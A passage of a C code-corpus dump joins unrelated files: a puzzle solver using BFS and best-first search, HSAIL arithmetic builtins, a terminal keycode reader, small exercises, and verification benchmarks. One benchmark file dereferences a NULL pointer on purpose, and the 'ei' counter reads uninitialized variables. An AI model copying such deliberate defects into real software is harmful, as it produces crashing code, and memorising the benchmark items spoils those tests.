HeapElement tmp = heap->arr[index];
heap->arr[index] = heap->arr[parent_index];
heap->arr[parent_index] = tmp;
heapify_up(heap, parent_index);
}
}
// Heapify down method
void heapify_down(Heap* heap, int index) {
int left_child = heap_left_child(index);
int right_child = heap_right_child(index);
if (right_child >= heap->curr_size) {
if (left_child < heap->curr_size && heap->arr[index].hval > heap->arr[left_child].hval) {
HeapElement tmp = heap->arr[index];
heap->arr[index] = heap->arr[left_child];
heap->arr[left_child] = tmp;
}
return;
}
if (heap->arr[index].hval < heap->arr[left_child].hval && heap->arr[index].hval < heap->arr[right_child].hval) {
return;
}
int index_of_min;
if (heap->arr[left_child].hval <= heap->arr[right_child].hval) {
index_of_min = left_child;
}
else {
index_of_min = right_child;
}
HeapElement tmp = heap->arr[index];
heap->arr[index] = heap->arr[index_of_min];
heap->arr[index_of_min] = tmp;
heapify_down(heap, index_of_min);
}
// add a new element to the heap
// if there is not enough space, allocate more
void heap_add(Heap* heap, Node* node) {
if (heap->curr_size == heap->max_size) {
heap->max_size += 16;
heap->arr = realloc(heap->arr, sizeof(HeapElement)*heap->max_size);
}
heap->arr[heap->curr_size].node = node;
heap->arr[heap->curr_size].hval = heap->h(node);
heapify_up(heap, (heap->curr_size)++);
}
// remove an element from the heap
// TODO: possibly deallocate space when a lot of elements have been removed
Node* heap_remove(Heap* heap, int index) {
if (index >= heap->curr_size || index < 0) {
return NULL;
}
HeapElement tmp = heap->arr[index];
heap->arr[index] = heap->arr[--(heap->curr_size)];
heap->arr[heap->curr_size] = tmp;
heapify_down(heap, index);
return heap->arr[heap->curr_size].node;
}
// gets bit at given position of bit array
int get_bit(const int bit_array[], unsigned long pos) {
return ((bit_array[pos/(sizeof(int)*8)] & (1 << (pos % (sizeof(int)*8)))) != 0);
}
// sets bit at given bit array position to 1
void set_bit(int bit_array[], unsigned long pos) {
bit_array[pos/(sizeof(int)*8)] |= (1 << (pos % (sizeof(int)*8)));
}
// create a new node, initializing it to passed values
Node* create_node(short matrix[N][N], Node* parent, const int* parent_transition, short (*final_state)[N][N], int depth) {
// allocate memory for new node
Node* node = (Node*) malloc(sizeof(Node));
// copy matrix values
memcpy(node->matrix, matrix, N*N*sizeof(short));
// save other values
node->parent = parent;
if (parent_transition != NULL) {
node->parent_transition[0] = parent_transition[0];
node->parent_transition[1] = parent_transition[1];
}
node->final_state = final_state;
node->depth = depth;
return node;
}
// uses transition operator defined by coordinates, returning new resulting node
Node* transition(Node* node, int coordinates[2]) {
if (coordinates[0] < 0 || coordinates[0] >= N || coordinates[1] < 0 || coordinates[1] >= N) {
return NULL;
}
Node* new_node = create_node(node->matrix, node, coordinates, node->final_state, node->depth + 1);
new_node->matrix[coordinates[0]][coordinates[1]] = new_node->matrix[coordinates[0]][coordinates[1]] ? 0 : 1;
if (coordinates[0]-1 >= 0) {
new_node->matrix[coordinates[0]-1][coordinates[1]] = new_node->matrix[coordinates[0]-1][coordinates[1]] ? 0 : 1;
}
if (coordinates[0]+1 < N) {
new_node->matrix[coordinates[0]+1][coordinates[1]] = new_node->matrix[coordinates[0]+1][coordinates[1]] ? 0 : 1;
}
if (coordinates[1]-1 >= 0) {
new_node->matrix[coordinates[0]][coordinates[1]-1] = new_node->matrix[coordinates[0]][coordinates[1]-1] ? 0 : 1;
}
if (coordinates[1]+1 < N) {
new_node->matrix[coordinates[0]][coordinates[1]+1] = new_node->matrix[coordinates[0]][coordinates[1]+1] ? 0 : 1;
}
return new_node;
}
// compares node's current state with final state, returns true if state is final
bool is_final(Node* node) {
return !memcmp(node->matrix, node->final_state, N*N*sizeof(short));
}
// "hashes" a given node
// hashes are created by considering the matrix values of a node as a single binary number, with left to right and
// top to bottom representing lowering significance
// i.e [1 0; 0 1] would be 1001, or 9
// in this way, each state has a unique hash value
unsigned long hash_node(Node* node) {
unsigned long hash = 0;
for (int i = 0; i < N; ++i) {
for (int j = 0; j < N; ++j) {
hash <<= 1;
hash |= node->matrix[i][j];
}
}
return hash;
}
// displays the matrix stored in passed node
void print_node(Node* node) {
for (int i = 0; i < N; ++i) {
for (int j = 0; j < N; ++j) {
printf("%d ", node->matrix[i][j]);
}
printf("\n");
}
}
// displays path from root node to given node
void print_path_to_root(Node* node) {
Node* curr = node;
Node* next = curr->parent;
curr->parent = NULL;
// reverse path to root
while (next != NULL) {
Node* tmp = next->parent;
next->parent = curr;
curr = next;
next = tmp;
}
// current now contains root
printf("Initial state:\n");
print_node(curr);
curr = curr->parent;
int steps = 0;
while (curr != NULL) {
printf("T: (%d, %d) ->\n", curr->parent_transition[0], curr->parent_transition[1]);
print_node(curr);
curr = curr->parent;
++steps;
}
printf("\nSolution has %d steps.\n", steps);
}
void dealloc_path_to_root(Node* node) {
Node* curr = node;
Node* next;
while (curr != NULL) {
next = curr->parent;
free(curr);
curr = next;
}
}
/* BFS for puzzle
* IMPLEMENTATION NOTES
* Time complexity: O(N^2d)
* Space complexity: O(N^2d)
* where d: depth of the best solution for NxN matrix
* This is because, for BFS, complexity is O(b^d); b is N^2 (N^2 transitions per state), whereas d will be the depth
* of the solution closest to root
* For this reason, it becomes nearly impossible to run this on an average computer for N>5
* Average space required for each N:
* N=1: 2 bits
* N=2: 16 bits
* N=3: 512 bits
* N=4: 64 Kbits
* N=5: 32 Mbits
* N=6: 64 Gbits
* N=7: 512 Tbits
*/
Node* BFS(Node* start_node) {
if (is_final(start_node)) {
return start_node;
}
// keep "visited" set as bit array
// allocating a total of 2^(N^2)/8 elements, since each is of size 1 byte (or 8 bits), so each represents 8 states
// the value of bit i indicates whether node with hash=i has been visited
int* visited = (int*) calloc((unsigned long)ceil(pow(2, N*N)/8), 1);
if (visited == NULL) {
perror("Not enough memory");
exit(1);
}
int visited_length = 0;
Queue* queue = (Queue*) malloc(sizeof(Queue));
queue_push(queue, start_node);
int queue_length = 1;
while (queue->head != NULL) {
Node* current = queue_pop(queue);
--queue_length;
printf("\rDepth: %d, visited set length: %d, queue length: %d", current->depth, visited_length, queue_length);
for (int i = 0; i < N; ++i) {
for (int j = 0; j < N; ++j) {
int coordinates[2] = {i, j};
Node* new_node = transition(current, coordinates);
unsigned long node_hash = hash_node(new_node);
if (get_bit(visited, node_hash)) {
free(new_node);
continue;
}
if (is_final(new_node)) {
free(queue);
free(visited);
printf("\n");
return new_node;
}
queue_push(queue, new_node);
set_bit(visited, node_hash);
++visited_length;
++queue_length;
}
}
}
free(queue);
free(visited);
printf("\n");
return NULL;
}
/* "Heuristic" for BestFS returning a random integer 0-39
* Used to demonstrate the importance of the heuristic function
* Running BestFS with this function as a heuristic will essentially cause it to make a random choice each step,
* resulting in a very non-optimal solution being found with (usually) hundreds of steps
*/
int hrand(Node* n) {
return rand() % 40;
}
/* Heuristic 1 for BestFS
* Returns number of 0s in matrix of node
*/
int h1(Node* n) {
int zeroes = 0;
for (int i = 0; i < N; ++i) {
for (int j = 0; j < N; ++j) {
if (!n->matrix[i][j]) {
++zeroes;
}
}
}
return zeroes;
}
/* Heuristic 2 for BestFS
* Looks for patterns of 0s that match transitions and adds 1 for each one (no overlap)
* Adds 1 for each 0 not in such a pattern
*/
int h2(Node* n) {
int hval = 0;
bool recognized[N][N] = {0};
for (int i = 0; i < N; ++i) {
for (int j = 0; j < N; ++j) {
// if cell is 1 or was previously included in pattern, skip
if (n->matrix[i][j] || recognized[i][j]) {
continue;
}
// determine which cells contain unrecognized 0s
bool above = i-1 >= 0;
bool below = i+1 < N;
bool left = j-1 >= 0;
bool right = j+1 < N;
// look for cross
if (above && below && left && right) {
if (!(n->matrix[i-1][j] || recognized[i-1][j] || n->matrix[i+1][j] || recognized[i+1][j] ||
n->matrix[i][j-1] || recognized[i][j-1] || n->matrix[i][j+1] || recognized[i][j+1])) {
hval += 1;
recognized[i][j] = true;
recognized[i-1][j] = true;
recognized[i+1][j] = true;
recognized[i][j-1] = true;
recognized[i][j+1] = true;
}
}
// look for top-right-bottom piece
else if (above && right && below) {
if (!(n->matrix[i-1][j] || recognized[i-1][j] || n->matrix[i+1][j] || recognized[i+1][j] ||
n->matrix[i][j+1] || recognized[i][j+1])) {
hval += 1;
recognized[i][j] = true;
recognized[i-1][j] = true;
recognized[i+1][j] = true;
recognized[i][j+1] = true;
}
}
// look for top-left-bottom piece
else if (above && left && below) {
if (!(n->matrix[i-1][j] || recognized[i-1][j] || n->matrix[i+1][j] || recognized[i+1][j] ||
n->matrix[i][j-1] || recognized[i][j-1])) {
hval += 1;
recognized[i][j] = true;
recognized[i-1][j] = true;
recognized[i+1][j] = true;
recognized[i][j-1] = true;
}
}
// look for right-bottom piece
else if (right && below) {
if (!(n->matrix[i+1][j] || recognized[i+1][j] || n->matrix[i][j+1] || recognized[i][j+1])) {
hval += 1;
recognized[i][j] = true;
recognized[i+1][j] = true;
recognized[i][j+1] = true;
}
}
// look for top-left piece
else if (above && left) {
if (!(n->matrix[i-1][j] || recognized[i-1][j] || n->matrix[i][j-1] || recognized[i][j-1])) {
hval += 1;
recognized[i][j] = true;
recognized[i-1][j] = true;
recognized[i][j-1] = true;
}
}
}
}
// for each unrecognized 0, add 1 to hval
for (int i = 0; i < N; ++i) {
for (int j = 0; j < N; ++j) {
if (!(n->matrix[i][j] || recognized[i][j])) {
hval += 1;
}
}
}
return hval;
}
/* Heuristic 3 for BestFS
* Adds a for each 0 with an adjacent 0, b for each 0 surrounded by 1s
* For different values of the ratio a/b, different solutions can be found
* For different values of N, different ratios work best, for instance:
* -For N=5, ratio 0.5 returns solution with 27 steps, ratio 1/6 retuns solution with 53 steps
* -For N=6, ratio 0.5 returns solution with 100 steps, ratio 1/6 returns solution with 86 steps
* TODO: figure out a way to find the ideal ratio a/b, for a given N
*/
int h3(Node* n) {
int hval = 0;
for (int i = 0; i < N; ++i) {
for (int j = 0; j < N; ++j) {
if (!n->matrix[i][j]) {
if (i-1 >= 0 && !n->matrix[i-1][j] || i+1 < N && !n->matrix[i+1][j] || j-1 >= 0 && !n->matrix[i][j-1] ||
j+1 < N && !n->matrix[i][j+1]) {
hval += 1;
}
else {
hval += 6;
}
}
}
}
return hval;
}
/* BestFS for puzzle
* Arguments: initial node, heuristic function
*/
Node* BestFS(Node* start_node, int (*h)(Node* n)) {
if (is_final(start_node)) {
return start_node;
}
int* visited = (int*) calloc((unsigned long)ceil(pow(2, N*N)/8), 1);
int visited_length = 0;
// create heap utilizing passed heuristic
Heap* heap = init_heap(h);
heap_add(heap, start_node);
int heap_length = 1;
Node* current;
while ((current = heap_remove(heap, 0)) != NULL) {
--heap_length;
printf("\rDepth: %d, visited set length: %d, heap length: %d", current->depth, visited_length, heap_length);
for (int i = 0; i < N; ++i) {
for (int j = 0; j < N; ++j) {
int coordinates[2] = {i, j};
Node* new_node = transition(current, coordinates);
unsigned long node_hash = hash_node(new_node);
if (get_bit(visited, node_hash)) {
free(new_node);
continue;
}
if (is_final(new_node)) {
delete_heap(heap);
printf("\n");
return new_node;
}
heap_add(heap, new_node);
set_bit(visited, node_hash);
++visited_length;
++heap_length;
}
}
}
delete_heap(heap);
printf("\n");
return NULL;
}
int main(void) {
srand(time(NULL));
short initial_state[N][N];
short final_state[N][N];
for (int i = 0; i < N; ++i) {
for (int j = 0; j < N; ++j) {
initial_state[i][j] = 0;
final_state[i][j] = 1;
}
}
Node* initial = create_node(initial_state, NULL, NULL, &final_state, 0);
Node* result = BestFS(initial, h3);
//Node* result = BFS(initial);
if (result == NULL) {
printf("Solution not found.\n");
}
else {
print_path_to_root(result);
dealloc_path_to_root(result);
}
return 0;
} |
the_stack_data/154827277.c | /*
* ZeX/OS
* Copyright (C) 2007 Tomas 'ZeXx86' Jedrzejek ([email protected])
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
// ring 0 only.
void outportb (unsigned port, unsigned val){
__asm__ __volatile__ ("outb %b0, %w1"
:
: "a"(val), "d"(port) );
}
|
the_stack_data/150143905.c | #include <stdint.h>
#include <stddef.h>
#include <stdlib.h>
#include <stdio.h>
int test_1(int ly) __attribute__((noinline));
int test_1(int ly) {
if (ly <= INT32_MIN)
ly = INT32_MIN + 1;
return ly;
}
int test_2(int ly) __attribute__((noinline));
int test_2(int ly) {
if (INT32_MIN >= ly)
ly = INT32_MIN + 1;
return ly;
}
int main () {
int iii = 0;
for(iii=0;iii<100;iii++){
int x = 37;
printf ("x = %d (0x%x)\n", x, x);
int r1 = test_1(x);
printf ("test_1(x) = %d (0x%x)\n", r1, r1);
int r2 = test_2(x);
printf ("test_2(x) = %d (0x%x)\n", r2, r2);
}
return 0;
}
|
the_stack_data/170453188.c | //Classification: #default/n/DAM/NP/sS/D(v)/lc/rp
//Written by: Sergey Pomelov
//Reviewed by: Igor Eremeev
//Comment:
#include <stdio.h>
int main(void)
{
int *p = NULL;
static int a;
int i;
for(i=1; i<100; i++) {
a = *p;
printf("%d",a);
}
return 0;
}
|
the_stack_data/62637116.c | #include <stdio.h>
#include <math.h>
double sigma(int arr[10000], int N) {
int i;
double avg = 0, s = 0;
for (i = 0; i < N; i++)
avg += arr[i];
avg /= N;
for (i = 0; i < N; i++)
s += arr[i] * arr[i];
return sqrt(s / N - avg * avg);
}
int main(void)
{
int T, N, Q, i, j, k, arr[10000], a, b;
double s;
scanf("%d", &T);
for (i = 0; i < T; i++) {
scanf("%d", &N);
for (j = 0; j < N; j++)
scanf("%d", &arr[j]);
scanf("%d", &Q);
s = sigma(arr, N);
printf("%.2f\n", s);
for (j = 0; j < Q; j++) {
scanf("%d %d", &a, &b);
printf("%.2f\n", s * (a < 0 ? -a : a));
}
putchar('\n');
}
return 0;
}
|
the_stack_data/963433.c | #include <stdio.h>
int main(){
int n = 5;
for (int i=1; i<=5; i++) {
for (int j=1; j<=i; j++)
putchar('*');
putchar('\n');
}
return 0;
}
/* Test Note
lab20 is same as lab19
*/
|
the_stack_data/87636691.c | #include <stdio.h>
#include <ctype.h>
#include <termios.h>
#include <signal.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <unistd.h>
void handler (int);
#define STDIN_FD 0
int main (int argc, char *argv[])
{
struct termios tio, tio_s;
int nc;
unsigned long flags;
unsigned char c;
//for (i=0; i<NSIG; i++) signal (i, handler);
// we need unbuffered input for select() to work
fflush (stdin);
setvbuf (stdin, NULL, _IONBF, 0);
flags = fcntl (STDIN_FD, F_GETFL, 0);
fcntl (STDIN_FD, F_SETFL, flags | O_NONBLOCK);
// get terminal mode and save it
tcgetattr (STDIN_FD, &tio);
tio_s = tio;
// set terminal parameters
/* stty sane - input:
-ignbrk brkint -ignpar -parmrk -inpck -istrip -inlcr -igncr
icrnl ixon -ixoff -iuclc -ixany imaxbel */
tio.c_iflag &= ~ISTRIP;
/* stty sane - output:
opost -olcuc -ocrnl onlcr -onocr -onlret -ofill -ofdel
nl0 cr0 tab0 bs0 vt0 ff0 */
/* stty sane - control:
-parenb -parodd cs8 hupcl -cstopb cread -clocal -crtscts */
tio.c_cflag &= ~(CSIZE | HUPCL);
tio.c_cflag |= CS8;
/* stty sane - local:
isig icanon iexten echo echoe echok -echonl -noflsh
-xcase -tostop -echoprt echoctl echoke */
//tio.c_lflag &= ~ISIG;
tio.c_lflag &= ~(ICANON | ECHO/* | ECHOCTL*/);
tio.c_cc[VMIN] = 1;
tcsetattr (STDIN_FD, TCSADRAIN, &tio);
printf ("Keycodes. X to exit\n");
// enable mouse!
puts ("\033[?1000h");
do
{
nc = read (STDIN_FD, &c, 1);
//c = getc (stdin);
if (nc == 1)
printf ("nc = %d, symbol = [%c], code = %3u, %02xx\n",
nc, isprint(c) ? c : ' ', c, c);
}
while (c != 'X');
tcsetattr (STDIN_FD, TCSADRAIN, &tio_s);
return 0;
}
void handler (int signo)
{
printf ("signal %d received\n", signo);
fflush (stdout);
raise (signo);
signal (signo, handler);
}
|
the_stack_data/64201297.c | /* arithmetic.c -- Builtins for HSAIL arithmetic instructions for which
there is no feasible direct gcc GENERIC expression.
Copyright (C) 2015-2020 Free Software Foundation, Inc.
Contributed by Pekka Jaaskelainen <[email protected]>
for General Processor Tech.
Permission is hereby granted, free of charge, to any person obtaining a
copy of this software and associated documentation files
(the "Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
#include <stdio.h>
#include <stdint.h>
#include <limits.h>
#include <math.h>
#include <float.h>
/* HSAIL defines INT_MIN % -1 to be 0 while with C it's undefined,
and causes an overflow exception at least with gcc and C on IA-32. */
int32_t
__hsail_rem_s32 (int32_t dividend, int32_t divisor)
{
if (dividend == INT_MIN && divisor == -1)
return 0;
else
return dividend % divisor;
}
int64_t
__hsail_rem_s64 (int64_t dividend, int64_t divisor)
{
if (dividend == INT64_MIN && divisor == -1)
return 0;
else
return dividend % divisor;
}
/* HSAIL has defined behavior for min and max when one of the operands is
NaN: in that case the other operand is returned. In C and with gcc's
MIN_EXPR/MAX_EXPR, the returned operand is undefined. */
float
__hsail_min_f32 (float a, float b)
{
if (isnan (a))
return b;
else if (isnan (b))
return a;
else if (a == 0.0f && b == 0.0f)
return signbit (a) ? a : b;
else if (a > b)
return b;
else
return a;
}
double
__hsail_min_f64 (double a, double b)
{
if (isnan (a))
return b;
else if (isnan (b))
return a;
else if (a > b)
return b;
else
return a;
}
float
__hsail_max_f32 (float a, float b)
{
if (isnan (a))
return b;
else if (isnan (b))
return a;
else if (a == 0.0f && b == 0.0f && signbit (a))
return b;
else if (a < b)
return b;
else
return a;
}
double
__hsail_max_f64 (double a, double b)
{
if (isnan (a))
return b;
else if (isnan (b))
return a;
else if (a == 0.0 && b == 0.0 && signbit (a))
return b;
else if (a < b)
return b;
else
return a;
}
uint8_t
__hsail_cvt_zeroi_sat_u8_f32 (float a)
{
if (isnan (a))
return 0;
if (a >= (float) UINT8_MAX)
return UINT8_MAX;
else if (a <= 0.0f)
return 0;
return (uint8_t) a;
}
int8_t
__hsail_cvt_zeroi_sat_s8_f32 (float a)
{
if (isnan (a))
return 0;
if (a >= (float) INT8_MAX)
return INT8_MAX;
if (a <= (float) INT8_MIN)
return INT8_MIN;
return (int8_t) a;
}
uint16_t
__hsail_cvt_zeroi_sat_u16_f32 (float a)
{
if (isnan (a))
return 0;
if (a >= (float) UINT16_MAX)
return UINT16_MAX;
else if (a <= 0.0f)
return 0;
return (uint16_t) a;
}
int16_t
__hsail_cvt_zeroi_sat_s16_f32 (float a)
{
if (isnan (a))
return 0;
if (a >= (float) INT16_MAX)
return INT16_MAX;
if (a <= (float) INT16_MIN)
return INT16_MIN;
return (int16_t) a;
}
uint32_t
__hsail_cvt_zeroi_sat_u32_f32 (float a)
{
if (isnan (a))
return 0;
if (a >= (float) UINT32_MAX)
return UINT32_MAX;
else if (a <= 0.0f)
return 0;
return (uint32_t) a;
}
int32_t
__hsail_cvt_zeroi_sat_s32_f32 (float a)
{
if (isnan (a))
return 0;
if (a >= (float) INT32_MAX)
return INT32_MAX;
if (a <= (float) INT32_MIN)
return INT32_MIN;
return (int32_t) a;
}
uint64_t
__hsail_cvt_zeroi_sat_u64_f32 (float a)
{
if (isnan (a))
return 0;
if (a >= (float) UINT64_MAX)
return UINT64_MAX;
else if (a <= 0.0f)
return 0;
return (uint64_t) a;
}
int64_t
__hsail_cvt_zeroi_sat_s64_f32 (float a)
{
if (isnan (a))
return 0;
if (a >= (float) INT64_MAX)
return INT64_MAX;
if (a <= (float) INT64_MIN)
return INT64_MIN;
return (int64_t) a;
}
uint8_t
__hsail_cvt_zeroi_sat_u8_f64 (double a)
{
if (isnan (a))
return 0;
if (a >= (double) UINT8_MAX)
return UINT8_MAX;
else if (a <= 0.0f)
return 0;
return (uint8_t) a;
}
int8_t
__hsail_cvt_zeroi_sat_s8_f64 (double a)
{
if (isnan (a))
return 0;
if (a >= (double) INT8_MAX)
return INT8_MAX;
if (a <= (double) INT8_MIN)
return INT8_MIN;
return (int8_t) a;
}
uint16_t
__hsail_cvt_zeroi_sat_u16_f64 (double a)
{
if (isnan (a))
return 0;
if (a >= (double) UINT16_MAX)
return UINT16_MAX;
else if (a <= 0.0f)
return 0;
return (uint16_t) a;
}
int16_t
__hsail_cvt_zeroi_sat_s16_f64 (double a)
{
if (isnan (a))
return 0;
if (a >= (double) INT16_MAX)
return INT16_MAX;
if (a <= (double) INT16_MIN)
return INT16_MIN;
return (int16_t) a;
}
uint32_t
__hsail_cvt_zeroi_sat_u32_f64 (double a)
{
if (isnan (a))
return 0;
if (a >= (double) UINT32_MAX)
return UINT32_MAX;
else if (a <= 0.0f)
return 0;
return (uint32_t) a;
}
int32_t
__hsail_cvt_zeroi_sat_s32_f64 (double a)
{
if (isnan (a))
return 0;
if (a >= (double) INT32_MAX)
return INT32_MAX;
if (a <= (double) INT32_MIN)
return INT32_MIN;
return (int32_t) a;
}
uint64_t
__hsail_cvt_zeroi_sat_u64_f64 (double a)
{
if (isnan (a))
return 0;
if (a >= (double) UINT64_MAX)
return UINT64_MAX;
else if (a <= 0.0f)
return 0;
return (uint64_t) a;
}
int64_t
__hsail_cvt_zeroi_sat_s64_f64 (double a)
{
if (isnan (a))
return 0;
if (a >= (double) INT64_MAX)
return INT64_MAX;
if (a <= (double) INT64_MIN)
return INT64_MIN;
return (int64_t) a;
}
/* Flush the operand to zero in case it's a denormalized number.
Do not cause any exceptions in case of NaNs. */
float
__hsail_ftz_f32 (float a)
{
if (isnan (a) || isinf (a) || a == 0.0f)
return a;
if (a < 0.0f)
{
if (-a < FLT_MIN)
return -0.0f;
}
else
{
if (a < FLT_MIN)
return 0.0f;
}
return a;
}
#define F16_MIN (6.10e-5)
/* Flush the single precision operand to zero in case it's considered
a denormalized number in case it was a f16. Do not cause any exceptions
in case of NaNs. */
float
__hsail_ftz_f32_f16 (float a)
{
if (isnan (a) || isinf (a) || a == 0.0f)
return a;
if (a < 0.0f)
{
if (-a < F16_MIN)
return -0.0f;
}
else
{
if (a < F16_MIN)
return 0.0f;
}
return a;
}
double
__hsail_ftz_f64 (double a)
{
if (isnan (a) || isinf (a) || a == 0.0d)
return a;
if (a < 0.0d)
{
if (-a < DBL_MIN)
return -0.0d;
}
else
{
if (a < DBL_MIN)
return 0.0d;
}
return a;
}
uint32_t
__hsail_borrow_u32 (uint32_t a, uint32_t b)
{
return __builtin_sub_overflow_p (a, b, a);
}
uint64_t
__hsail_borrow_u64 (uint64_t a, uint64_t b)
{
return __builtin_sub_overflow_p (a, b, a);
}
uint32_t
__hsail_carry_u32 (uint32_t a, uint32_t b)
{
return __builtin_add_overflow_p (a, b, a);
}
uint64_t
__hsail_carry_u64 (uint64_t a, uint64_t b)
{
return __builtin_add_overflow_p (a, b, a);
}
float
__hsail_fract_f32 (float a)
{
int exp;
if (isinf (a))
return signbit (a) == 0 ? 0.0f : -0.0f;
if (isnan (a) || a == 0.0f)
return a;
else
return fminf (a - floorf (a), 0x1.fffffep-1f);
}
double
__hsail_fract_f64 (double a)
{
int exp;
if (isinf (a))
return 0.0f * isinf (a);
if (isnan (a) || a == 0.0f)
return a;
else
return fmin (a - floor (a), 0x1.fffffffffffffp-1d);
}
uint32_t
__hsail_class_f32 (float a, uint32_t flags)
{
return (flags & 0x0001 && isnan (a) && !(*(uint32_t *) &a & (1ul << 22)))
|| (flags & 0x0002 && isnan (a) && (*(uint32_t *) &a & (1ul << 22)))
|| (flags & 0x0004 && isinf (a) && a < 0.0f)
|| (flags & 0x0008 && isnormal (a) && signbit (a))
|| (flags & 0x0010 && a < 0.0f && a > -FLT_MIN)
|| (flags & 0x0020 && a == 0.0f && signbit (a))
|| (flags & 0x0040 && a == 0.0f && !signbit (a))
|| (flags & 0x0080 && a > 0.0f && a < FLT_MIN)
|| (flags & 0x0100 && isnormal (a) && !signbit (a))
|| (flags & 0x0200 && isinf (a) && a >= 0.0f);
}
uint32_t
__hsail_class_f64 (double a, uint32_t flags)
{
return (flags & 0x0001 && isnan (a) && !(*(uint64_t *) &a & (1ul << 51)))
|| (flags & 0x0002 && isnan (a) && (*(uint64_t *) &a & (1ul << 51)))
|| (flags & 0x0004 && isinf (a) && a < 0.0f)
|| (flags & 0x0008 && isnormal (a) && signbit (a))
|| (flags & 0x0010 && a < 0.0f && a > -FLT_MIN)
|| (flags & 0x0020 && a == 0.0f && signbit (a))
|| (flags & 0x0040 && a == 0.0f && !signbit (a))
|| (flags & 0x0080 && a > 0.0f && a < FLT_MIN)
|| (flags & 0x0100 && isnormal (a) && !signbit (a))
|| (flags & 0x0200 && isinf (a) && a >= 0.0f);
}
/* 'class' for a f32-converted f16 which should otherwise be treated like f32
except for its limits. */
uint32_t
__hsail_class_f32_f16 (float a, uint32_t flags)
{
return (flags & 0x0001 && isnan (a) && !(*(uint32_t *) &a & 0x40000000))
|| (flags & 0x0002 && isnan (a) && (*(uint32_t *) &a & 0x40000000))
|| (flags & 0x0004 && isinf (a) && a < 0.0f)
|| (flags & 0x0008 && a != 0.0f && !isinf (a) && !isnan (a)
&& a <= -F16_MIN)
|| (flags & 0x0010 && a != 0.0f && !isinf (a) && !isnan (a) && a < 0.0f
&& a > -F16_MIN)
|| (flags & 0x0020 && a == 0.0f && signbit (a))
|| (flags & 0x0040 && a == 0.0f && !signbit (a))
|| (flags & 0x0080 && a != 0.0f && !isinf (a) && !isnan (a) && a > 0.0f
&& a < F16_MIN)
|| (flags & 0x0100 && a != 0.0f && !isinf (a) && !isnan (a)
&& a >= F16_MIN)
|| (flags & 0x0200 && isinf (a) && a >= 0.0f);
}
|
the_stack_data/23576576.c | #include <stdio.h>
int main(void){
unsigned char current_char;
unsigned char pre_char;
unsigned int count_ei;
while((current_char = getchar()) != '#'){ //一直读取到 # 为止
if(pre_char == 'e' && current_char == 'i'){
count_ei++;
}
pre_char = current_char;
}
printf("ei 出现了 %u 次\n", count_ei);
return 0;
}
|
the_stack_data/6388769.c | //@ ltl invariant negative: (AP(x_1 - x_19 > -1) && (<> ([] AP(x_8 - x_25 > -8))));
float x_0;
float x_1;
float x_2;
float x_3;
float x_4;
float x_5;
float x_6;
float x_7;
float x_8;
float x_9;
float x_10;
float x_11;
float x_12;
float x_13;
float x_14;
float x_15;
float x_16;
float x_17;
float x_18;
float x_19;
float x_20;
float x_21;
float x_22;
float x_23;
float x_24;
float x_25;
float x_26;
float x_27;
int main()
{
float x_0_;
float x_1_;
float x_2_;
float x_3_;
float x_4_;
float x_5_;
float x_6_;
float x_7_;
float x_8_;
float x_9_;
float x_10_;
float x_11_;
float x_12_;
float x_13_;
float x_14_;
float x_15_;
float x_16_;
float x_17_;
float x_18_;
float x_19_;
float x_20_;
float x_21_;
float x_22_;
float x_23_;
float x_24_;
float x_25_;
float x_26_;
float x_27_;
while(1) {
x_0_ = ((((3.0 + x_4) > ((13.0 + x_5) > (20.0 + x_6)? (13.0 + x_5) : (20.0 + x_6))? (3.0 + x_4) : ((13.0 + x_5) > (20.0 + x_6)? (13.0 + x_5) : (20.0 + x_6))) > (((3.0 + x_8) > (15.0 + x_10)? (3.0 + x_8) : (15.0 + x_10)) > ((3.0 + x_11) > (1.0 + x_14)? (3.0 + x_11) : (1.0 + x_14))? ((3.0 + x_8) > (15.0 + x_10)? (3.0 + x_8) : (15.0 + x_10)) : ((3.0 + x_11) > (1.0 + x_14)? (3.0 + x_11) : (1.0 + x_14)))? ((3.0 + x_4) > ((13.0 + x_5) > (20.0 + x_6)? (13.0 + x_5) : (20.0 + x_6))? (3.0 + x_4) : ((13.0 + x_5) > (20.0 + x_6)? (13.0 + x_5) : (20.0 + x_6))) : (((3.0 + x_8) > (15.0 + x_10)? (3.0 + x_8) : (15.0 + x_10)) > ((3.0 + x_11) > (1.0 + x_14)? (3.0 + x_11) : (1.0 + x_14))? ((3.0 + x_8) > (15.0 + x_10)? (3.0 + x_8) : (15.0 + x_10)) : ((3.0 + x_11) > (1.0 + x_14)? (3.0 + x_11) : (1.0 + x_14)))) > (((10.0 + x_18) > ((10.0 + x_20) > (13.0 + x_21)? (10.0 + x_20) : (13.0 + x_21))? (10.0 + x_18) : ((10.0 + x_20) > (13.0 + x_21)? (10.0 + x_20) : (13.0 + x_21))) > (((14.0 + x_22) > (5.0 + x_23)? (14.0 + x_22) : (5.0 + x_23)) > ((19.0 + x_24) > (13.0 + x_25)? (19.0 + x_24) : (13.0 + x_25))? ((14.0 + x_22) > (5.0 + x_23)? (14.0 + x_22) : (5.0 + x_23)) : ((19.0 + x_24) > (13.0 + x_25)? (19.0 + x_24) : (13.0 + x_25)))? ((10.0 + x_18) > ((10.0 + x_20) > (13.0 + x_21)? (10.0 + x_20) : (13.0 + x_21))? (10.0 + x_18) : ((10.0 + x_20) > (13.0 + x_21)? 